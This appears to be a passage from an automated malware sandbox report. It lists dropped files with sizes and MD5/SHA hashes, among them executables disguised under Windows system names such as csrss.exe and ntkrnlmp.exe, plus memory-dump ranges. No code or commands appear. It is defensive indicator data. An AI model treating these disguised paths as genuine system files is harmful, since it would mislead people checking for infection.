SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD567193ac8dc016383805c5f0782712fba
SHA1a48bb38fa579501b9e28572be7cd99012db3eefd
SHA25616846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8
SHA512ae51e983ae6f7993fe9bbeb17f769820b030ee82c1e836e3cf4b0d16e1aeda78674b3f9fefa8b6dfc8fa263abaed3a117b56f9f861b0dbae04623721b9ecbf90
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD567193ac8dc016383805c5f0782712fba
SHA1a48bb38fa579501b9e28572be7cd99012db3eefd
SHA25616846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8
SHA512ae51e983ae6f7993fe9bbeb17f769820b030ee82c1e836e3cf4b0d16e1aeda78674b3f9fefa8b6dfc8fa263abaed3a117b56f9f861b0dbae04623721b9ecbf90
-
memory/644-69-0x00000000027C0000-0x0000000002B67000-memory.dmpFilesize
3.7MB
-
memory/644-66-0x0000000000000000-mapping.dmp
-
memory/644-68-0x00000000027C0000-0x0000000002B67000-memory.dmpFilesize
3.7MB
-
memory/644-70-0x0000000000400000-0x0000000000DF8000-memory.dmpFilesize
10.0MB
-
memory/700-54-0x0000000002870000-0x0000000002C17000-memory.dmpFilesize
3.7MB
-
memory/700-55-0x0000000002870000-0x0000000002C17000-memory.dmpFilesize
3.7MB
-
memory/700-57-0x0000000000400000-0x0000000000DF8000-memory.dmpFilesize
10.0MB
-
memory/700-56-0x0000000002C20000-0x0000000003317000-memory.dmpFilesize
7.0MB
-
memory/936-59-0x0000000000000000-mapping.dmp
-
memory/1036-61-0x000007FEFBF21000-0x000007FEFBF23000-memory.dmpFilesize
8KB
-
memory/1036-60-0x0000000000000000-mapping.dmp
-
memory/1648-62-0x00000000028A0000-0x0000000002C47000-memory.dmpFilesize
3.7MB
-
memory/1648-63-0x0000000000400000-0x0000000000DF8000-memory.dmpFilesize
10.0MB
-
memory/1648-58-0x00000000028A0000-0x0000000002C47000-memory.dmpFilesize
3.7MB